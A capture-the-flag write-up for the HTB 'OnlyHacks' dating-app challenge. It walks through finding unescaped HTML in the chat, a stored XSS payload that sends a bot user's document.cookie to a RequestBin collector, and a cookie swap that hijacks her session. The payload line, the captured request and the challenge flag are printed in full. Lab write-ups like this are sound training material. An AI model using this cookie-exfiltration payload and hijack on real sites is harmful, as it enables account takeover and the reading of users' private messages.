Challenge Info
Spoiler
OnlyHacks drops you into a Tinder-style dating app where one match never stops replying and never stops trying to sell you handmade jewelry — classic bait-account behavior. Her chat renders raw HTML, which is enough to steal her session cookie and read her DMs.
In the contrary the official HTB path and description of the challenge goes as follows:
Dating and matching can be exciting especially during Valentine’s, but it’s important to stay vigilant for impostors. Can you help identify possible frauds?
No files, no download — a live web target only. Sign up, swipe, match, and start digging.
Analysis
Recon — signing up and swiping
The landing page is a login screen for OnlyHacks, a dating app (“Where Love is the Ultimate Life Hack”). No account to start with, so registration is the first step — username, password, email, age, bio, gender/preference, profile picture.
Once logged in, it’s a standard swipe deck: a stack of profile cards, reject left / like right. Every bio reads like a normal (if AI-generated) dating profile — except one: Renata, 21, whose bio specifically brags “A little mystery, a lot of fun — let’s see if you can keep up. Always online!”. Let’s swipe right to all and see what happens LOL.
The match — a chatty, pushy DM bot
Renata matches back instantly and opens the conversation herself. A couple of messages in, she pivots hard into trying to sell “handmade jewelry and accessories” and stuff. Maybe we need to play with that chat and try to find a vulnerability here so we start probing.
Sending a plain <h1>Hello there</h1> in the message box comes back rendered as an actual <h1> in the thread — the chat isn’t escaping HTML on output. That’s a stored XSS sink sitting in a feature that’s guaranteed to be read by another real (albeit bot-driven) user’s browser.
Exploitation — stored XSS → cookie exfiltration
Since the target runs over the public internet rather than locally, catching the exfiltrated request needs a public collector — a RequestBin endpoint works as a throwaway webhook. The payload sent into the chat:
| |
This isn’t a reflected payload read back only by the attacker’s own browser — it’s a stored XSS in a DM. Renata’s side of the chat (bot-driven, but still a separate authenticated session) renders the message too, and when it does, her browser fires the redirect carrying her document.cookie to the bin.
Checking the bin afterward shows two hits: one from the attacker’s own browser (so basically ours) re-rendering the payload (same session, not useful), and a second from a different, unfamiliar session value — Renata’s.
GET /19bdo3d1?c=session=eyJ1c2VyIjp7ImlkIjoxLCJuYW1lIjoiUmVuYXRhIiwiZW1haWwiOiJ...
Session hijack — swapping the cookie
With Renata’s session cookie value in hand, it’s a straight swap: open devtools on the OnlyHacks tab, overwrite the local session cookie with hers, and refresh.
The app re-renders as Renata — her matches, her inbox. Dimitris’s thread (the only other match in her DMs) holds the flag, sent as a plain message.
Spoiler
HTB{d0nt_trust_str4ng3r5_bl1ndly} — recovered directly from Renata’s DM history after the session hijack.Full chain
OnlyHacks (dating app)
└─ register + swipe → match with "Renata" (always-online bait bot)
└─ DM chat renders raw HTML (no output encoding)
└─ stored XSS: <script>document.location='<bin>?c='+document.cookie</script>
└─ Renata's bot session renders the message → her cookie leaks to the bin
└─ swap local `session` cookie for hers
└─ logged in as Renata → FLAG in her DMs
